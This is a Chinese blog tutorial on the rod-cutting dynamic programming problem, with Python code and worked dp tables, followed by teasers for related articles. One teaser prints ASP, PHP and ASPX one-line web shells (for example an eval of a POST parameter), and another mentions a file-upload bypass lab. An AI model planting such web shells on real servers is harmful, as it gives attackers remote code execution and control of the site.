【动态规划】切割钢条详解python

1. 问题介绍和应用场景

切割钢条问题是运筹学和算法设计中的一个经典问题,涉及如何最优化切割有限资源以最大化收益。这个问题经常用作动态规划教学的入门案例,同时在工业生产中也有实际应用,比如在金属加工业中如何切割原材料以减少浪费并增加销售利润。

2. 初阶问题-价值最大

定义:给定一根长度为 ( n ) 的钢条和一个价格表,表中列出了从长度 1 到 ( n ) 的每一种长度的钢条的售价。求切割方案,使得销售收益最大化。

示例

  • 钢条长度:4
  • 价格表:{1:1, 2:5, 3:8, 4:9}

最优切割方案是切割为两段,每段长度为 2,销售收益为 ( 5 + 5 = 10 )。

状态定义

定义 dp[i] 为长度为 ( i ) 的钢条的最大销售收益。

状态转移方程

考虑每一种可能的切割第一刀的位置,状态转移方程为:

在这里插入图片描述

初始化和边界情况

  • ( dp[0] = 0 ):长度为 0 的钢条没有收益。

算法实现

def cut_rod(price, n):dp = [0] * (n + 1)for i in range(1, n + 1):max_val = float('-inf')for j in range(1, i + 1):max_val = max(max_val, price[j] + dp[i - j])dp[i] = max_valreturn dp[n]# 示例使用
price = {1: 1, 2: 5, 3: 8, 4: 9}
n = 4
print("最大收益:", cut_rod(price, n))  # 输出: 最大收益: 10
复杂度分析
  • 时间复杂度:O(n^2),其中 ( n ) 是钢条的长度。需要计算每个长度的最优解,每次计算涉及遍历所有可能的切割点。
  • 空间复杂度:O(n),存储长度为 ( n ) 的 dp 数组。

算法图解

为了进一步阐明“切割钢条”问题的动态规划解法,并辅以图解,我们将使用一个示例和配套的说明来详细解释每一步的计算过程。我们继续用整数数组 price = {1:1, 2:5, 3:8, 4:9} 和钢条长度 n = 4 来演示。

首先,我们初始化动态规划表 dp。表的每个单元格将代表长度为 (i) 的钢条的最大销售收益。

初始化

初始 dp

Length ((i))01234
dp[i]00000
  • dp[0] = 0:没有钢条时,收益为0。
填充过程

逐步计算每个长度的最大收益。

  1. 长度为 1:

    • 只有一种切法,即不切,直接卖出。
    • dp[1] = price[1] = 1
  2. 长度为 2:

    • 切为两个长度为 1 的钢条,或不切。
    • dp[2] = max(price[2], price[1] + dp[1]) = max(5, 1+1) = 5
  3. 长度为 3:

    • 切为三个长度为 1 的钢条,切为一个长度为 1 和一个长度为 2 的钢条,或不切。
    • dp[3] = max(price[3], price[1] + dp[2], price[2] + dp[1]) = max(8, 1+5, 5+1) = 8
  4. 长度为 4:

    • 切为四个长度为 1 的钢条,切为两个长度为 2 的钢条,切为一个长度为 1 和一个长度为 3 的钢条,或不切。
    • dp[4] = max(price[4], price[1] + dp[3], price[2] + dp[2], price[3] + dp[1]) = max(9, 1+8, 5+5, 8+1) = 10

最终填充的 dp

Length ((i))01234
dp[i]015810
图解说明

想象一个表格,行表示钢条长度,列代表不同的切割方案。每个单元格填入该切割方案的收益,最后选择每行中的最大值填入到 dp 表中。每次切割决策基于获取最大收益的需要。

   +---------------------------------------+| Length | Cut Scenario                 |+---------------------------------------+|   1    | [1] -> 1                     ||   2    | [1+1], [2] -> 5              ||   3    | [1+1+1], [1+2], [3] -> 8     ||   4    | [1+1+1+1], [2+2], [1+3], [4] -> 10 |+---------------------------------------+

3.进阶问题-最优切割方案

在讨论切割钢条问题或任何涉及资源分割的优化问题时,“最优切割方案”指的是通过合理分割资源(如钢条、织物等)以达到某个特定目标(如最大化利润、最小化浪费等)的一种策略或方案。在动态规划的上下文中,这通常涉及确定一系列决策,这些决策共同导致全局最优的结果。

最优切割方案的定义

在切割钢条的例子中,钢条有一定长度,每个长度有一个对应的市场价值。最优切割方案就是找到一种切割钢条的方式,使得从出售这些切割后的小段钢条所获得的总收益最大化。

关键组件

  • 目标:最大化从出售切割后的钢条获得的收益。
  • 决策:选择在哪些点切割钢条,包括决定每一段的长度。
  • 状态:用于描述问题的某个阶段或条件,如钢条的当前长度。
  • 状态转移:决策导致状态改变,进而更新问题的当前解的方式,如从更长的钢条到切割后的剩余部分。

如何找到最优切割方案

  1. 定义状态

    • dp[i] 表示长度为 i 的钢条的最大销售收益。
  2. 状态转移方程

    • dp[i] = max(dp[i], price[j] + dp[i-j]),其中 1 ≤ j ≤ i 是可能的切割点,price[j] 是长度 j 的钢条的价格。
  3. 记录切割点

    • 使用一个辅助数组 s[i] 来记录获得 dp[i] 的最大收益时的首次切割点。
  4. 回溯切割方案

    • s[n] 开始回溯,其中 n 是钢条的总长度,通过连续查询 s 数组构建出全部的切割方案。

示例

假设有一根长度为 4 的钢条,价格表如下:

长度1234
价格1589

最优切割方案为两段,每段长度为 2,因为 5 + 5 = 10 是所有可能切割方案中收益最高的(切割为 1+1+1+1 的收益为 4,切割为 1+33+1 的收益为 9,不切割的收益为 9)。

通过定义动态规划的状态和决策过程,以及记录每个决策点,我们可以确定并回溯出达到最大收益的具体切割步骤,即最优切割方案。这种方法不仅减少了试错的需要,而且提供了一种系统的方式来解决问题。

总结

切割钢条问题通过动态规划提供了一种有效的解决方案,能够处理资源优化问题并可扩展到更复杂的场景中。这种方法不仅提升了问题解决的效率,也增强了理解动态规划的直观性和实用性。掌握这种基础的动态规划应用能够帮助解决更广泛的优化问题,是算法学习和应用中的重要步骤。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/824753.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

pg_top 实时监控工具-编译安装

os: centos 7.9.2009 db: postgresql 14.7 安装依赖包 sudo yum install libbsd libbsd-devel下载安装 su - pgsqlwget https://gitlab.com/pg_top/pg_top/-/archive/main/pg_top-main.tar.gztar -zxvf ./pg_top-main.tar.gzcd pg_top-maincmake -DCMAKE_INSTALL_PREFIX/dat…

live2d看板娘资源-地址

引自网页添加 Live2D 看板娘(菜鸟级详细教程) - 妖妖未初 - 博客园 (cnblogs.com) live2d看板娘资源网 Index of / (oml2d.com) 别人开源的OhMyLive2D (oml2d.com) 如果想换其他模版,可以修改 jsonPath 的路径,可选的模型&…

EelasticSearch是什么?及EelasticSearch的安装

一、概述 Elasticsearch 是一个基于 Apache Lucene 构建的开源分布式搜索引擎和分析引擎。它专为云计算环境设计,提供了一个分布式的、高可用的实时分析和搜索平台。Elasticsearch 可以处理大量数据,并且具备横向扩展能力,能够通过增加更多的…

Jmeter三个常用组件

Jmeter三个常用组件 一、线程组二、 HTTP请求三、查看结果树 线程组:jmeter是基于线程来运行的,线程组主要用来管理线程的数量,线程的执行策略。 HTTP请求:HTTP请求是jmeter接口测试的核心部分,主要使用HTTP取样器来发…

数仓中的数据倾斜问题

- 如何来判断是否发生了数据倾斜问题: 可以根据Spark 的webUI 中的相关指标来判断 spark webUI中的stages 页面的中就是stage数量 : 宽依赖数(shuffle 数量)导致宽依赖的算子数 n(读取表的数量) 点击不…

Android 12 如何加载 native 原生库

在 Android 7.0 及更高版本中,系统库与应用库是分开的。 图1. 原生库的命名空间 原生库的命名空间可防止应用使用私有平台的原生 API(例如使用 OpenSSL)。该命名空间还可以避免应用意外使用平台库(而非它们自己的库)的…

ES源码四:网络通信层流程

听说ES网络层很难?今天来卷它😄 前言 ES网络层比较复杂,分为两个部分: 基于HTTP协议的REST服务端基于TCP实现的PRC框架 插件化设计的网络层模块(NetworkModule) 入口还是上一章的创建Node构造方法的地方…

mysqlslap压力测试和线程池

目录 1. mysqlslap介绍 2. mysqlslap常用参数 3. 开始测试 3.1 单线程 3.2 多线程 3.3 50和100个并发 3.4 迭代测试 4.结果解释 5.线程池 5.1 开启线程池 5.2 关于线程池的参数 1. mysqlslap介绍 mysqlslap是一个诊断程序,旨在模拟客户端并发访问MySQ…

【MySQL 安装与配置】Window简单安装MySQL,并配置局域网连接

文章日期:2024.04.17 系统:Window10 || Window11 类型:安装与配置MySQL数据库 文章全程已做去敏处理!!! 【需要做的可联系我】 AES解密处理(直接解密即可)(crypto-js.js…

系统稳定性建设

说到系统稳定性,不知道大家会想起什么?大多数人会觉得这个词挺虚的,不知道系统稳定性指的是什么。 一年前看到这个词,也是类似于这样的感受,大概只知道要消除单点、做好监控报警,但却并没有一个体系化的方…

一句话木马

asp一句话木马&#xff1a; <%execute(request("value"))%> php一句话木马&#xff1a; <?phpeval($_POST[value]);?> 变形&#xff1a;<?php$x$_GET[‘z’];eval(“$x;”);?> aspx一句话木马&#xff1a; <% PageLanguage"Jscri…

记录一下我102连不上MySQL的问题 NotBefore

【背景描述】我在102上是能登录上MySQL的&#xff0c;但是用客户端&#xff08;DataGrip、SQLyog就连不上&#xff09; 【解决方案】 加个这个?useSSLfalse&serverTimezoneUTC 【另外的小问题】如果直接输mysql 上面这个不是报错&#xff0c;不用管 再输mysql -uroot -p…

Golang学习笔记_RabbitMQ的原理架构和使用

RabbitMQ 简介 实现了高级消息队列协议&#xff08;Advanced Message Queuing Protcol&#xff09;AMQP消息队列中间件的作用&#xff08;Redis实现MQ里面有写过&#xff0c;这里简单带过&#xff09; 解耦削峰异步处理缓存消息通信提高扩展性 RabbitMQ 架构理解 #mermaid-s…

upload-labs靶场详解

靶场环境 下载链接&#xff1a;https://codeload.github.com/c0ny1/upload-labs/zip/refs/heads/master 使用小皮集成环境来完成这个靶场 将文件放到WWW目录下就可以进行访问 进入关卡后页面呈现&#xff1a; Pass-01&#xff08;前端绕过&#xff09; 我们先尝试上传一个web.…

[svelte]属性和逻辑块

属性 / Default values • Svelte 教程 | Svelte 中文网 属性 Declaring props 到目前为止&#xff0c;我们只处理了内部状态——也就是说&#xff0c;这些值只能在给定的组件中访问。 在任何实际应用程序中&#xff0c;都需要将数据从一个组件向下传递到其子组件。为此&…

【Spring】-编程式事务和声明式事务

spring中控制事务的方式有两种&#xff1a;编程式事务和声明式事务&#xff0c;今天我以两种事务出发&#xff0c;对spring中实现事务的EnableTransactionManagement和Transaction两个注解的底层原理进行讨论。 一、编程式事务 什么是编程式事务&#xff1f; 硬编码的方式实现…

Adobe将Sora、Runway、Pika,集成在PR中

4月15日晚&#xff0c;全球多媒体巨头Adobe在官网宣布&#xff0c;将OpenAI的Sora、Pika 、Runway等著名第三方文生视频模型&#xff0c;集成在视频剪辑软件Premiere Pro中&#xff08;简称“PR”&#xff09;。 同时&#xff0c;Adob也会将自身研发的Firefly系列模型包括视频…

【Python】高级进阶(专版提升3)

Python 1 程序结构1.1 模块 Module1.1.1 定义1.1.2 作用1.1.3 导入1.1.3.1 import1.1.3.2 from import 1.1.4 模块变量1.1.5 加载过程1.1.6 分类 1.2 包package1.2.1 定义1.2.2 作用1.2.3 导入1.1.3.1 import1.1.3.2 from import 2 异常处理Error2.1 异常2.2 处理 3 迭代3.1 可…

InfluxDB v1.8

数据存储模型 points(数据点)time(时间戳)measurement(测量指标)field(测量值 key-value)至少一个tag(标签 key-value)零或多个和MySQL对比 series是共享同一个retention policy,measurement以及tag set的数据集合 InfluxDBMySQLmeasurementtablepointscoltagrow(with index)…

Three.js 入门——核心概念和坐标系理解

Three.js 是什么&#xff1f; 一个封装了 WebGL 的库&#xff0c;简化 WebGL 的使用 WebGL vs OpenGL OpenGL 主要被认为是一种 API&#xff08;应用程序编程接口&#xff09;&#xff0c;它为我们提供了大量可用于操作图形和图像的函数&#xff0c;主要用 C语言编写的。 然…